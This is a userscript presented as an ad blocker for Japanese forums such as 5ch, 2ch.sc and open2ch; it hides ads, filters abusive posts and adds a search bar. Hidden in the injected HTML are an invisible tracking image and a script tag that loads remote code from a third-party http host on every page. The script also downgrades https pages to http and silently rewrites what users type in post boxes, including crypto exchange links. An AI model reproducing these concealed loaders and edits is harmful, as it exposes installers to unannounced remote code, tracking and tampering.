h8enny / open2chAdBlock

// ==UserScript==
// @license MIT
// @author  open2chExtender
// @name    open2chAdBlock
// @version               2020/03/26
// @description Version 2020/03/26
// @include https://hope.open2ch.net/*
// @include https://open.open2ch.net/*
// @include htt*://*open2ch.net/*
// @include htt*://*.2ch.sc/*
// @include htt*://*.5ch.net/*
// @include htt*://*bbspink.com/*
// @include http://*.vip2ch.com/*
// @include http://jbbs.shitaraba.net/*
// @include http://find.5ch.net/search?q=*
// @include http://find.2ch.sc/index.php?*
// @include http://find.2ch.sc/?STR=*
// @include http://www.geocities.*jp/hoderaben/*
// @include http://www.geocities.*jp/gomarigunan/*
// @include http://www5a.biglobe.*jp/~sukaben/cd*
// @exclude http://bintan.ula.cc/*
// @exclude http://*/threadlist.html
// @exclude htt*://open2ch.net/dev/*
// @exclude http://open2ch.net/
// @exclude http://open2ch.net
// @exclude htt*://premium.5ch.net/*
// @exclude htt*://ula.5ch.net/*
// @exclude htt*://www.5ch.net/
// @exclude htt*://www.5ch.net
// @exclude http://www.2ch.sc/
// @exclude http://www.2ch.sc
// @exclude http://2ch.sc/
// @exclude http://2ch.sc
// @exclude http://find.open2ch.net/*
// @exclude http://find.open2ch.net
// @exclude htt*://find.5ch.net/*
// @exclude htt*://find.5ch.net
// @exclude http://find.2ch.sc/index.php*
// @exclude http://find.2ch.sc/*
// @exclude http://find.2ch.sc
// @exclude http://menu.5ch.net/bbsmenu.html?thread=*
// @exclude https://www.google.com/sorry/index?continue=*
// @run-at document-end
// @grant   none
// ==/UserScript==

(function(){if(location.href.match(/(\/test\/read\.cgi\/[\w\-]+\/\d+\/l50)/)){location.replace(location.href.replace(/(\/test\/read\.cgi\/[\w\-]+\/\d+\/)(l50)/,'$1l100'));eval('*');}if(location.href.match(/(\.5ch\.net|\.bbspink\.com)(\/test\/read\.cgi\/[\w\-]+\/\d+\/)/)){if(d=document.getElementsByTagName('div')){for(i=d.length-1;0<=i;i--){if(d[i].innerHTML=='レスを投稿する'){d[i].innerHTML+=' > '+(document.title.split(' [無断転載禁止]')[0].split(' [転載禁止]')[0]);break;}}};}
if(!location.href.match(/(^https?:\/\/ula\.5ch\.net\/)/)){if((0)&&(document.referrer.split('#')[0]!=location.href.split('#')[0])&&(location.href.match(/(\/subback\.html\?)/))){location.reload();}if(d=document.getElementsByTagName('head')){d[0].innerHTML+='<style>a:link,a:hover,a:active,a:focus,a:visited{text-decoration:none !important;}</style>'}
if((location.href.match(/^(https:\/\/[\w\-]+\.5ch\.net\/[\w\-]+\/|https:\/\/[\w\-]+\.bbspink\.com\/[\w\-]+\/)/))&&(!location.href.match(/^(https:\/\/[\w\-]+\.5ch\.net\/test\/bbs\.cgi|https:\/\/[\w\-]+\.bbspink\.com\/test\/bbs\.cgi)/))){location.replace(location.href.replace(/^(https:)/,'http:'));eval('*');}setTimeout(";window.stop();",300000);
if((location.href.match(/^(http:\/\/[\w\-]+\.)(5ch\.net|bbspink\.com)(\/test\/\#list)/))){eval('*');}else{if(document.title.match(/(5ch\.netの設定メニュー|5ch\.netの説明\/使い方|スマホのブラウザで快適2ちゃんねる|@2ちゃんねるのスレッド一覧|のスレッド\s*\|)/)){eval('*');}if(location.href.match(/(\/test\/read\.cgi\/)/)){setTimeout(";location.replace(location.href.split('#')[0]+'#write');",3000);};if(!document.cookie.match(/(READJS="off")/)){expire=new Date();expire.setTime(expire.getTime()+1000*3600*24*366);domain=location.href.split('/')[2];domain=domain.substr(domain.indexOf('.'));document.cookie='READJS="off"; domain='+domain+'; path=/;expires='+expire.toUTCString();location.reload();eval('*');}if(0){setTimeout(";if(0<location.href.indexOf('/read.cgi/')){setInterval(\";scrollBy(0, 1);\",66);};",30000);}
if((0>location.href.indexOf('/subback.htm'))&&(''!=document.referrer)&&(document.referrer!=location.href)&&(location.href.match(/^(http:\/\/[\w\-]+\.?5ch\.net\/[\w\-]+\/)(index\.html?|)$/))){location.replace(location.href);eval('*');}else{UserBlockText=/((^$))/;UserBlockImage=/((^$))/;UserBlockStyle=(((',')));if((location.href.match(/:\/\/open2ch\.net\/[\w\-]+\/(index\.html?|)/))&&(!location.href.match(/\/(subback\.html|pc_menu\.html)/))){window.open(location.href.replace(/(:\/\/open2ch\.net\/)([\w\-]+)(\/)(index\.html?|)/,'://uni.open2ch.net/$2/').split('?')[0].split('#')[0],'_self');eval('*');}else if((location.href.match(/:\/\/\w*\.?2ch\.sc\//))&&(!location.href.match(/:\/\/uni\.2ch\.sc\//))&&((location.href.match(/(\?2chnet$)/))||(document.referrer.match(/(\?2chnet$)/)))){;}else{
AUTO=-1;ON=1;OFF=0;SC=0;WIDTH=300;HEIGHT=225;MULTI=1.75;open2chSW=location.href.match(/(open2ch\.net)/);if(location.href.match(/^(https?:\/\/\w+\.2ch\.sc\/)/)){SC=1}if((ON)&&(navigator.userAgent.match(/(xLunascape)/))){document.title=' '+document.title.replace(/(^[  ]*|[  ]*$)/img,'').replace(/([  ][  ]+)/img,' ')+' ';}if((d=document.getElementsByTagName('head'))){p=10;function ifaddstr(sw,str){if(sw){return(str)}return('')};function ifelsestr(sw,str1,str2){if(sw){return(str1)}return(str2)};hh='';if(0<location.href.indexOf('bbspink.com/')){hh='iframe{width:0px !important;height:70px !important;}'}else if(0<location.href.indexOf('5ch.net/')){hh='iframe{width:0px !important;height:0px !important;}'};;;
PresetMasterBlockText=/(\/\/hissi\.org\/)/mg;PresetNoBlockText=/(cafemix.jp|atspace.cc|atspace.cc|おまけ|オマケ|游ゴシック|ハチのムサシ|夢を追い続けて|応援するものです)/mg;PresetBlockText=/(\/\/goo\.gl\/\w+[ \s\<]|[\(\)\{\}\[\]\-\_\.\,\:\;]{20,}|wwwwwwww|WWWWWWWW|ニニニニニニ|三三三三三三|ミミミミミミ|!!!!!!|\;\;\;\;\;\;|\:\:\:\:\:\:|\i\i\i\i\i\i|\!\!\!\!\!\!|\ー\-\、\_\.|\|\o\|\o\|\o|\:・・・・|<br> <br> <br> <br> <br>|<br> . <br> . <br> . <br> . <br>|な<br>\s*<br> ?ん<br>\s* ?\s*で<br>\s* ?こ<br>|んだ\?\?|た ん だ|んでこ ん な|なん で|こ ん な ゴ|み ス  レに  来 た|み ス レ 建 て た|ん で わ  び|こ ん な ゴ  ミ|詫びろ|わびろ|わ<br>\s* <br>\s*びろ|/\(。。\)\|\(__人__\)|_人人人人人|\│\ !\!\.\│|E C A !!!|ー◎-◎-|●●●●●●●●●●●|\s*[見み]\s*<br>\s*て\s*<br>\s*る\s*<br>\s*ぞ\s*|\sp\/karapaia_zaeega\/imgs\/d\/3\/d3159f5b\.jpg\s|NG\s*ID)/mg;PresetBlockText2=/(の営業時間内に|Wi-Fi乞食|病患者|タヒタヒ|もうある|は苦くて|発作時間|のサユレイザ|メス豚|死呪死|荒らし報告|つんぼ|ツンボ|詐欺チビ|容姿が醜悪|しますた|きずな←ここ|いちおう|ネトウヨ|今すぐ|今だけ|連絡先:|糞悪|悪い人たちがやって来て|悪いひとたちがやって来て|のふかのめひる|リケジョ坂をよ… |死んだ|あぼ~ん|発狂するのは|睾丸に音楽|もう書くな|バカにはできないコピペ|本が核を持|専ブラ|コピペ荒らし|ん\?、|クソレス|自演統計学|クソ自演|バカ瀬戸|グロい借|モラルを説いて|人間のクズ|隔離スレ|お前の日記帳|さてうん|荒らすん|おまえが馬鹿|馬鹿スレ|貼るだけの|いい加減黙|糞ガキ|便器[猿女]|すっぞコラ|バカのスレ|能脳能脳能|をすこれ|キチガイ|かw|スレはクローズ|コピペの勢い|独居老|日野さん|ヒノテル|パワハラ加害|バカのコピペ|ば~~~かw|ガックシ!!!|褌!!!|マラ!!!|おせ~ぞ!|アフィカス|~ホワ~|まだかまだか|この荒らし|スレタイから消|・冷やし中華はじ|糞音tube|殺されてえのか|陰唇|自殺[^者は]|[死師紙市氏士]ね|あぼぼ?ーん|キンマンコ|ブツブツ|目合わせるな|単発質問スレ|基地外|クソスレ|クレクレ|cis.゙ヒ,|糞スレ|エックスイーマーケッ|単発スレ|タヒね|焼き殺|ニホンザル|ヒトモドキ|ちんぽ|ボケ!|氏ねや|●末期は国家存亡の危機だった|●の要望であり|何回も書き|自作自演容疑者リスト|田春樹|ステマステマ|詐欺師\s*犯罪者)/mg;;;PresetBlockImage=/(ftp:\/\/|goo.gl\/JDmy3b#.jpg|\/DhFEtvcUcAEo0kx\.jpg|\/\/erogazoukko\.com\/wp\-content\/|pbs\.twimg\.com\/media\/DpGt|pbs\.twimg\.com\/media\/DjjB9AUVsAAUDM8\.jpg|pbs\.twimg\.com\/media\/DkDC|imgur\.com\/R5rkZXz\.jpg|imgur\.com\/M9JKNpv\.jpg|imgur\.com\/Gw44oVz\.jpg|imgur\.com\/C5kkqYx\.jpg|imgur\.com\/gGaZNFb\.jpg|imgur\.com\/FSiscpI\.jpg|imgur\.com\/zKQOxUH\.jpg|imgur\.com\/wNg1sVd\.jpg|imgur\.com\/yhScNab\.jpg|imgur\.com\/9jhyq1H\.jpg|\/\/img\.erogazou\-pinkline\.com\/img\/|pinkline\.com\/|\/xTfND30\.jpg|\/tX8aVEm\.gif|\.imgur.com\/W6NS3\.jpg|imgur.com\/u30hQkR.jpg|imgur.com\/1XYp1Xo.jpg|\/Flesh\-Eating\-Disease\-1\.jpg|\/article\/interview\/20120424\/231350\/ph001\.jpg|media\/CpFjMz0UEAAurD-.jpg|\/AAAAAAAAA\w\w\/|\+law\+image\.jpg|www.bizocean.jp\/doc\/data\/product_thumb\/|\/o0640048013093527892\.jpg|imgur.com\/U3nJgse\.|imgur.com\/nqT3xBN.png|imgur.com\/k96tDoN\.|imgur.com\/jSeNmCw\.|new\-fourteen\/vs\.png|imgur.com\/513G4E6.|imgur.com\/vHydsrs\.|imgur\.com\/+B8XXYE4\.jpg|media\/ELit\-xuWkAQVgud\.jpg|imgur\.com\/+aQvEkEc\.jpg|imgur\.com\/+5hIwQ7j\.jpg|imgur\.com\/+jY6vobC\.jpg|imgur\.com\/+9hiNxuC\.png|media\/ELHjmwXUcAAgvnn\.jpg|imgur\.com\/+v4dvotV\.jpg|imgur\.com\/+EQvgFcw\.jpg|www.kantama.com\/adres\/distortion_spD\.gif|pbs\.twimg\.com\/media\/Dh6ndmFVAAA0wFQ\.|livedoor\.blogimg\.jp\/kinisoku\/imgs\/2\/1\/213501d0\.jpg|imgur.com\/vZeIuO3\.|imgur.com\/Icv5HvJ\.jpg|imgur.com\/sG1pyGX\.jpg|imgur.com\/qS3vk1l\.|imgur.com\/249u1lQ\.|imgur.com\/RsFSDTL\.|imgur.com\/KmpCiBe|imgur.com\/nwKJZ1Z.|imgur.com\/nXAmd.|imgur.com\/GkAR1Mk.)/mg;PresetBlockStyle='a:link,a:hover,a:active,a:focus,a:visited{text-decoration:none !important;}span[style="padding: 0; margin: 0; margin-left: 5px;"]{display:none!important}img.ico2ch{vertical-align:middle!important;}div.form-group{width:15%!important;}form.entry textarea,form p textarea{overflow:auto!important;ward-wrap:normal!important;overflow-wrap:normal!important;width:575px!important;height:150px;min-width:575px;min-height:150px;}input,textarea{background:#FFF !important;border:1px solid gray !important;}input[type=button],input[type=reset],input[type=submit],input[type="button"],input[type="reset"],input[type="submit"]{background:#DDD !important;border:1px solid gray !important;}#k_main > div.guideline_head > form > div.form-group{width:40%;display:inline-block !important;}input{height:24px !important;}textarea,input{margin:1px 0px 1px 0px !important;padding:0px !important;-moz-border-radius:5px !important;-webkit-border-radius:5px !important;border-radius:5px !important;}div{position:static !important;}#js--banners--thread,div.footer.push,div.adv-left,div.adv-right,#myNavbar,.navbar-header,.thread_list_scroll,.banner_area_468{display:none !important;}.btn{padding:3px !important;}.row{position:relative!important;top:-50px;!important}.sidebar-nv{width:100%!important;height:730px!important;}.col-md-4{posision:relativ!important;top:-50px!important;overflow:hidden!important;width:100%!important;margin-left:0%!important;height:730px!important;margin-bottom:50px!important;}.col-md-8{width:100%!important;margin-left:0%!important;margin-bottom:20px!important;}#sidemenu .sidemenu_banner{width:100% !important;height:10px !important;}img[width="12"][height="12"]{display:none !important;}.container_body,.container{max-width:100% !important;width:100% !important;}.post{display:block !important;}#k_main{margin:0em !important;}#k_main > div:nth-child(5) > div{display:none !important;}textarea{background:white!important;}input[type="button"],input[type="reset"],input[type="submit"],.btn{background:#ddd !important; color:black !important; font-size:8pt !important; font-family:MeiryoKe_PGothic,"Helvetica Neue",Arial,Helvetica,"Lucida Grande","Hiragino Kaku Gothic ProN","ヒラギノ角ゴ ProN W3",Meiryo,メイリオ,"Meiryo UI",sans-serif !important}img{border-style:solid !important;border-color: #000 !important;border-width:0px !important;}*:not(a):not(b):not(p):not(font):not(span){color:black}a:link{color:#0000ff !important;}a:visited{color:#800080 !important;}a:active{color:#800080 !important;}a:hover{color:#ff8000 !important;}div#header,.headlist,span{background:#bbcced !important;background-color:#bbcced !important;font-size:9pt !important}iframe#google_ads_frame1,div[style="width:95%;border:1px solid black;margin:0 auto;background-color:#ccffcc"],div[style="border:1pt solid black;width:410px;position:fixed;top:8;right:5;background:#fff;z-index:10;"],div[style="width:300px;height:250px;padding:10px;float:left;"],div[div="thumb5ch"],#announcement,.table_info{display:none !important;}klog_view{background:#888 !important;}center > p,center > table[cellspacing="5"],div.ad--right,div.js--ad--right--top,div.js--ad--right--bottom,div.js--ad--bottom,div#bbspink-bottom-ads,div.bbspink-top-ads,body > div.box,body > div.lbox,iframe#google_esf{display:none !important;} a:hover,a:focus{color:deeppink !important;}div > small > a:link{color:blue !important;}div > small > a:focus,div > small > a:hover{color:deeppink !important;}dd.net{display:block !important;}div.box,iframe.yplayer,hr,.js--ad--top,.ad--left,.ad--right,.js--ad--bottom,body > div > span,dl > div > span{color:black !important;}div[style="margin-top:10px;margin-bottom:10px;width:100%;text-align:center;"],.youtube{}form,input,a,b,*{font-family:MeiryoKe_PGothic,"Helvetica Neue",Arial,Helvetica,"Lucida Grande","Hiragino Kaku Gothic ProN","ヒラギノ角ゴ ProN W3",Meiryo,メイリオ,"Meiryo UI",sans-serif !important}div[class="header-menu"],div[align="center"]{margin-top:4em !important;margin-left:2px !important}span{float:none !important;}div[class="jbbsCustomHeader"],div[style="margin-top:1em;"]{margin-top:6em!important;margin-left:2px !important}:not(.subject):not(.glyphicon):not(input):not(button):not(textarea){background:none !important;background-color:#bbcced !important;font-size:9pt !important;}:not(input):not(font):not(a):not(b):not(dt):not(dd){font-size:9pt !important}input{height:21px}dt > span > b,ul > li > a,ul > li,td.r_sec_body,p.showbutton,span[rel="dct:type"],#content th,#content td,li,dt,dd{font-size:9pt !important;line-height:15px !important}.res p{max-height:4320px !important;}small > a{font-size:9pt !important}font[size="2"] > a{font-size:9pt !important}input[size="40"]{width:160px !important}#search-main > .thread-area{margin-bottom:2px !important}'+(hh)+'#post-form > * > *{font-size:9pt !important}#search-main > .thread-area *{margin:0px !important;padding:0px !important;line-height:15px !important;font-size:9pt !important} div > span > a{font-size:9.6pt !important;line-hight:30px !important;}#banner,#bannerLeft,#bannerRight,.ad--bottom,.ad--bottom--block{display:inline !important;width:0px !important;height:0px !important;}div.message{margin-left:30px !important;}section.thread,div.thread,div.thread_box,div.post,div.message,dl.thread,dd.thread_in{white-space:nowrap !important;width:100% !important;}div.number{display:inline !important;}body > div > span[style="float:left;"]{margin-top:20px !important;display:block;}div[style="background-color:yellow;margin:1px;padding:1px;"]{margin-top:30px !important;display:block;}#thread > div[style="float:left;font-size:12px;"],#thread > div[style="float:right;font-size:12px;"],#thread > span[style="font-size:10px;"],div[style="float: right; font-size: 75%"],iframe[height="130"],iframe[height="250"],iframe[width="728"],iframe[width="800"],td[width="18%"],#map,img[width="160"],img[height="60"],img[width="468"],iframe[width="468"],img[width="728"],embed[width="728"],iframe[width="728"],img[height="250"],embed[height="250"],iframe[height="250"],img["padding: 0px; margin: 0px;"],img[style="padding: 0px; margin: 0px;"],#my-glider,#dvDigitalice960,.ad_area,#google_ads_frame1,#google_image_div,#google_ads_frame3,div[style="width: 728px; position: relative; top: 0px; left: 0px; margin: 0px; padding: 0px; display: inline-block; "],#aw0,div[style="width: 728px; position: relative; top: 0px; left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; display: inline-block;"],div[style="margin-top:1em;"] > span[style="float:right;"],div#jlisting,div.search_box > strong,div.search_box > a,table[cellspacing="4"][align="right"][width="25%"],div[align="right"] > iframe[height="45" ],a[href="http://ofuda.cc/"],body > iframe[height="15" ],center > table[cellspacing="5"],table[cellspacing=5],td[width="42%"],div#section1,div#section2,div#section3,#jbbsheader,#headerContainer,#imobile_adspotframe1,div.box,#tuhoButton,#TT_frame,dd > small,#headerContainer,#jlisting_ad,hr';if(location.href.match(/(:\/\/[\w\-]+\.5ch\.net\/[\w\-]+\/)(index\.html?|)(\?v=pc|)$/)){if(d=document.getElementsByTagName('div')){for(i=0;d.length>i;i++){if(0<d[i].innerHTML.indexOf('X95%')){d[i].innerHTML='<br><div style=display:none>'+d[i].innerHTML+'</div>';break;}}}}if(d=document.getElementsByTagName('td')){for(i=0;d.length>i;i++){if((0<d[i].innerHTML.indexOf('id="imobile_adspotdiv1"'))||(0<d[i].innerHTML.indexOf('id="kauli_yad_1"'))||(0<d[i].innerHTML.indexOf('width="42%"'))){d[i].innerHTML='<br><div style="">'+d[i].innerHTML+'</div>';}else if((0<d[i].innerHTML.indexOf('href="http://addsky.tv/2ch/"'))){d[i].innerHTML='<br><div style=display:none>'+d[i].innerHTML+'</div>';break;}}};;;
if(0!=location.href.indexOf('find.moritapo.jp')){if(d=document.getElementsByTagName('span')){for(i=0;d.length>i;i++){if((0<d[i].innerHTML.indexOf('[*PR*]'))){d[i].innerHTML='';break;}}}};setInterval("if(d=document.getElementsByTagName('textarea')){for(i=0;d.length>i;i++){if(d[i].value.match(/(  )/)){d[i].value=d[i].value.replace(/(  )/mg,' ');}if(d[i].value.match(/(\\.2ch\\.sc\\/)/)){d[i].value=d[i].value.replace(/(\\.2ch\\.sc\\/)/mg,',2ch,sc/');}if(d[i].value.match(/(\\t)/)){d[i].value=d[i].value.replace(/^(\\t)/,'').replace(/(\\t)/mg,' ');}if(d[i].value.match(/(>|\\s|)(https?:\\/\\/)/)){d[i].value=d[i].value.replace(/(>|\\s|)(https?:\\/\\/)/mg,'$1://');}if(d[i].value.match(/(\\:?\\/\\/client\\.wavesplatform\\.com\\/|\\:?\\/\\/waves\\.exchange\\/)(demo\\-dex|dex)(\\?)/)){d[i].value=d[i].value.replace(/(\\:?\\/\\/client\\.wavesplatform\\.com\\/|\\:?\\/\\/waves\\.exchange\\/)(demo\\-dex|dex)(\\?)/mg,'://waves.exchange/dex-demo?');}if(d[i].value.match(/(:\\/\\/www\\.youtube\\.com\\/results\\?search_query=)/)){d[i].value=d[i].value.replace(/(:\\/\\/www\\.youtube\\.com\\/results\\?search_query=)/mg,'://www.youtube.com/embed/?autoplay=1&loop=1&cc_lang_pref=jp&listType=search&list=');}}}",50);if(location.href.match(/(^https?:\/\/[\w\-]+\.5ch\.net\/[\w\-]+\/#list)/)){TOPOS=-86;}else{TOPOS=6;}TOPOS=0;SearchBOX='<br><style></style>'+
'<table id=open2chAdBlock style=z-index:3;position:absolute;top:'+(TOPOS)+'px; cellspacing=0 cellpadding=2 border=0 width=100% bgcolor=white height=40 bordercolor=white style=background:white;><tr>'+'<td width=5% align=center><a onfocus=this.blur(); style=font-size:8pt; target=_blank href=https://waves.exchange/dex-demo?assetId2=WAVES&assetId1=Ft8X1v1LTa1ABafufpaCWyVj8KkaxUWE6xBhW6sNFJck><font color=blue>財布 Coins</font></td>'+
'<td align=right><a target="_blank" href="" onclick=window.open(\'http://www.google.com/search?hl=ja&num=100&sitesearch=open2ch.net&q=YouTube\',\'_blank\'); style=font-weight:700;font-size:10pt;color:blue;>open2ch</a></td><td><form style=display:inline; name=form method=get target=_blank action=http://www.google.com/search accept-charset=utf-8><input name=hl value=ja type=hidden><input name=num value=100 type=hidden><input type=hidden name=sitesearch value="open2ch.net"><input name=q value="" type=text style=width:65px;><input type=reset value=" C "><input type=submit value=Search></form></td>'+
'<td align=right><a target="_blank" href="" onclick=window.open(\'http://www.google.com/search?hl=ja&num=100&sitesearch=2ch.sc&q=YouTube\',\'_blank\'); style=font-weight:700;font-size:10pt;color:blue;>2chsc</a></td><td><form style=display:inline; name=form method=get target=_blank action=http://www.google.com/search accept-charset=utf-8><input name=hl value=ja type=hidden><input name=num value=100 type=hidden><input type=hidden name=sitesearch value="2ch.sc"><input name=q value="" type=text style=width:65px;><input type=reset value=" C "><input type=submit value=Search></form></td>'+
'<td align=right><a target="_blank" href="" onclick=window.open(\'http://www.google.com/search?hl=ja&num=100&sitesearch=5ch.net&q=YouTube\',\'_blank\'); style=font-weight:700;font-size:10pt;color:blue;>5chnet</a></td><td><form style=display:inline; name=form method=get target=_blank action=http://www.google.com/search accept-charset=utf-8><input name=hl value=ja type=hidden><input name=num value=100 type=hidden><input type=hidden name=sitesearch value="5ch.net"><input name=q value="" type=text style=width:65px;><input type=reset value=" C "><input type=submit value=Search></form></td>'+
'<td width=5% align=center><a onFocus=this.blur() style=font-size:8pt; target=_blank onclick=window.scroll(0,99999999);return(false); href="javascript:;"><font color=blue>Write 投稿</font></a></a></td>'+'</tr><tr>'+'<td width=5% align=center><font color=blue style=font-size:8pt;><a target=_blank href=http://imgur.com/><font color=blue>画像 Imgur</font></a></td>'+
'<td align=right><a target="_blank" href="" onclick=window.open(\'http://www.google.com/search?num=100&ie=utf-8&q=YouTube\',\'_blank\'); style=font-weight:700;font-size:10pt;color:blue;>Google</a></td><td><form style=display:inline; name=form method=get target=_blank action=http://www.google.com/search accept-charset=utf-8><input name=q type=text style=width:65px;><input name=num value=100 type=hidden><input name=ie value=utf-8 type=hidden><input type=reset value=" C "><input type=submit value=Search></form></td>'+
'<td align=right><a target="_blank" href="" onclick=window.open(\'http://find.2ch.sc/?STR=YouTube&TYPE=TITLE&BBS=ALL&ENCODING=UTF-8&SCEND=D&SORT=MODIFIED\',\'_blank\'); style=font-weight:700;font-size:10pt;color:blue;>find2sc</a></td><td><form style=display:inline; name=form method=get target=_blank action=http://find.2ch.sc/ accept-charset=utf-8><input name=STR type=text style=width:65px; value=""><input name=TYPE type=hidden value=TITLE><input name=BBS type=hidden value=ALL><input name=ENCODING type=hidden value=UTF-8><input name=SCEND type=hidden value=D><input name=SORT type=hidden value=MODIFIED><input type=reset value=" C "><input type=submit value=Search></form></td>'+
'<td align=right><a target="_blank" href="" onclick=window.open(\'http://ff5ch.syoboi.jp/?q=YouTube\',\'_blank\'); style=font-weight:700;font-size:10pt;color:blue;>ff5chnet</a></td><td><form style=display:inline; name=form method=get target=_blank action=http://ff5ch.syoboi.jp/ accept-charset=utf-8><input name=q type=text style=width:65px; value=""><input type=reset value=" C "><input type=submit value=Search></form></td>'+
'<td width=5% align=center><a onfocus=this.blur(); style=font-size:8pt; target=_blank href=http://translate.google.com/><font color=blue>Trans 翻訳</font></a></td></tr>';if(!location.href.match(/(\.X2ch\.sc\/)/)){SearchBOX+='<tr><td colspan=8 align=center nowrap><font color=orange style=position:relative;bottom:0px;font-size:9pt;>'+(navigator.userAgent).replace(/(\)|\ )/img,'$1<wbr>')+' <wbr>Width/<span id=cWidthX>'+window.innerWidth+'</span>px/'+screen.width+'px'+'<span style=display:none;></span></font></td></tr>';}
if(location.href.match(/(https?:\/\/)(\w+\.geocities\.|\w+\.biglobe\.)(co\.|ne\.|)(jp)(\/)/)){PresetBlockStyle=''};setInterval("if(d=document.getElementById('cWidthX')){d.innerHTML=''+window.innerWidth;}else{;}",500);l=location.href;if(!l.match(/(:\/\/jbbs\.livedoor\.jp\/\w+\/read\.cgi\/|:\/\/jbbs\.livedoor\.jp\/\w+\/\d+\/?$|:\/\/next5ch\.net\/?\w*\/?\d*|:\/\/\w+\.5ch\.net\/\w+\/read\.cgi\/|:\/\/\w+\.5ch\.net\/\w+\/?(index\.html?|)(\?v=pc|)#?(\d*|\list)$|:\/\/\w+\.2ch\.sc\/\w+\/read\.cgi\/|:\/\/\w+\.2ch\.sc\/\w+\/?(index\.html?|)#?(\d*|\list)$|:\/\/\w+\.open2ch\.net\/\w+\/read\.cgi\/|:\/\/\w*\.?open2ch\.net\/\w+\/?(index\.html?|)#?(\d*|\list)$|:\/\/\w+\.vip2ch\.com\/\w+\/read\.cgi\/|:\/\/\w*\.?vip2ch\.com\/\w+\/?(index\.html?|)#?(\d*|\list)$|:\/\/\w+\.jikkyo\.org\/\w+\/read\.cgi\/|:\/\/\w*\.?jikkyo\.org\/\w+\/?(index\.html?|)#?(\d*|\list)$|:\/\/\w+\.bbspink\.com\/\w+\/read\.cgi\/|:\/\/\w+\.bbspink\.com\/\w+\/?(index\.html?|)#?(\d*|\list)$)/)){SearchBOX=''}
if(location.href.match(/(\/subback\.html)/)){if(d=document.getElementsByTagName('a')){for(i=0;d.length>i;i++){d[i].href=d[i].href.replace(/(\.2ch\.net\/)/,'.5ch.net/');d[i].innerHTML=d[i].innerHTML.replace(/(\[無断転載禁止\]|\[転載禁止\]|©bbspink\.com|©5ch\.net|\(c\)5ch\.net)/img,'').replace(/([\/\、\・\・])([\/\、\・\・]*)/img,'$1').replace(/([■]+)/img,'■').replace(/([━]+)/img,'━').replace(/([\ー]+)/img,'ー').replace(/(wwww+)/img,'www').replace(/(。+)/img,'。').replace(/([ \s]+)/img,' ');if(d[i].innerHTML.match(/(_____|戦場実況、|室櫻子|www+|netの人気スレ|神の怒り|自殺|刑事第|浪人[をは]|[\(\(]ヨ[\)\)]|繧薙|ガイジ|キチガイ|[\死\氏]ね|糞スレ|キンマンコ|クズクズクズ|<◎>|<・>|======|======|ニニニニニニ|三三三三三三|WWWWWW|WWWWWW|テテテテテテ|ウウウウウウ|髷髷|馬鹿|下 ?遼 ?太|川和久|ㅤ)/)){d[i].innerHTML=d[i].innerHTML.split(':')[0]+':';};}}}
if(location.href.match(/(\.2ch\.sc\/)/)){if(location.href.match(/(\/subback\.html)/)){PresetBlockStyleBody='body{margin-top:10px!important;}'}else{PresetBlockStyleBody='body{margin-top:87px!important;}'}}else{if(location.href.match(/(\.?open2ch\.net\/test\/read\.cgi)/)){PresetBlockStyleBody='body{margin-top:88px!important;}'}else{if(location.href.match(/(next5ch\.net\/)/)){PresetBlockStyleBody='body{margin-top:100px!important;}span#kauli_yad_js_1{height:0px!important;}'}else if(0<location.href.indexOf('subback.htm')){PresetBlockStyleBody='body{margin-top:10px!important;}'}else{PresetBlockStyleBody='body{margin-top:88px!important;}'}}}
if(location.href.match(/(http:\/\/open2ch\.net\/menu\/pc_menu\.html|http:\/\/menu\.2ch\.sc\/bbsmenu\.html|http:\/\/menu\.5ch\.net\/bbsmenu\.html)/)){PresetBlockStyleBody+='body{margin-top:0px!important;}form,br{display:none !important;}'};SearchBOX=SearchBOX.split('style=').join('style=white-space:nowrap;')+'<style>'+PresetBlockStyleBody+PresetBlockStyle+'{display:none!important}</style><style>'+UserBlockStyle+'{display:none!important}</style><style>.nonOFF{display:none;color:gray !important;font-size:9pt !important}.nonON{display:inline;color:gray !important;font-size:9pt !important}.nophotourl{;}.photourl{position:absolute!important;top:-1280px!important;font-size:0px !important;}video.photo,img.photo{display:inline-block;vertical-align:top;margin-top:3px;height:'+(HEIGHT)+'px;max-height:'+(HEIGHT)+'px}video.photo:hover,img.photo:hover{position:absolute!important;z-index:99999!important;border:10px solid deeppink !important;height:'+Math.floor(HEIGHT*MULTI)+'px;max-height:'+Math.floor(HEIGHT*MULTI)+'px}img.photoY{display:none;}img.photoE{display:inline-block;} .ico2ch{display:inline-block;width:;} div[id^="popup"] *{background:MistyRose !important}#unkar #contents #sub{margin:12px auto !important}#header .search-text{width:60px !important}#header{background:black !important}#header *:not(input){background:transparent !important;}a.fb-like{font-weight:700 !important;color:white !important;}#main,*[name="maad"],.topbox :not(h1),a[href="http://unkar.org/help/"]{display:none !important}</style>'+'<img style=display:none; width=0 height=0 border=0 src=http://pranking9.ziyu.net/img.php?chrashi><scr'+'ipt src=http://x4.ashigaru.jp/ufo/062569700></scr'+'ipt>';
if(SearchBOX){if(location.href.match(/(\/\/\w+\.vip2ch\.com\/?)/)){SearchBOX=SearchBOX.replace('background-color:#bbcced','background-color:#bbcced')}else if(location.href.match(/(\/\/\w+\.2ch\.sc\/?)/)){SearchBOX=SearchBOX.replace('background-color:#bbcced','background-color:#bbcced')}else if(location.href.match(/(\/\/\w*\.?open2ch\.net\/?)/)){SearchBOX=SearchBOX.replace('background-color:#bbcced','background-color:#bbcced')} var ele=document.createElement('div');ele.id='SearchBOX';ele.innerHTML=SearchBOX;var objBody=document.getElementsByTagName('body').item(0);objBody.appendChild(ele);}
if(d=document.body){t=d.innerHTML;if((0<t.indexOf(' Viewer('))&&(3000>t.indexOf(' Viewer('))&&(0<t.indexOf('://2ch.tora3.net/'))){window.open(location.href.replace(/(h?t?t?p?s?:\/\/)(\w+)(\.5ch\.net\/\w+\/\w+\.\w+\/)(\w+)(\/)(\w+)([\?&=:;\w\-\+\/\*\,\.]*)/,'http://unkar.org/r/$4/$6$7'),'_self');}};;;var dy=(new Date());datetime=(dy.getFullYear()*10000+(dy.getMonth()+1)*100+dy.getDate())*1000000+dy.getHours()*10000+dy.getMinutes()*100+dy.getSeconds();dy.setTime(dy.getTime()-86400000);datetime1=(dy.getFullYear()*10000+(dy.getMonth()+1)*100+dy.getDate())*1000000+dy.getHours()*10000+dy.getMinutes()*100+dy.getSeconds();datetime+='';datetime1+='';
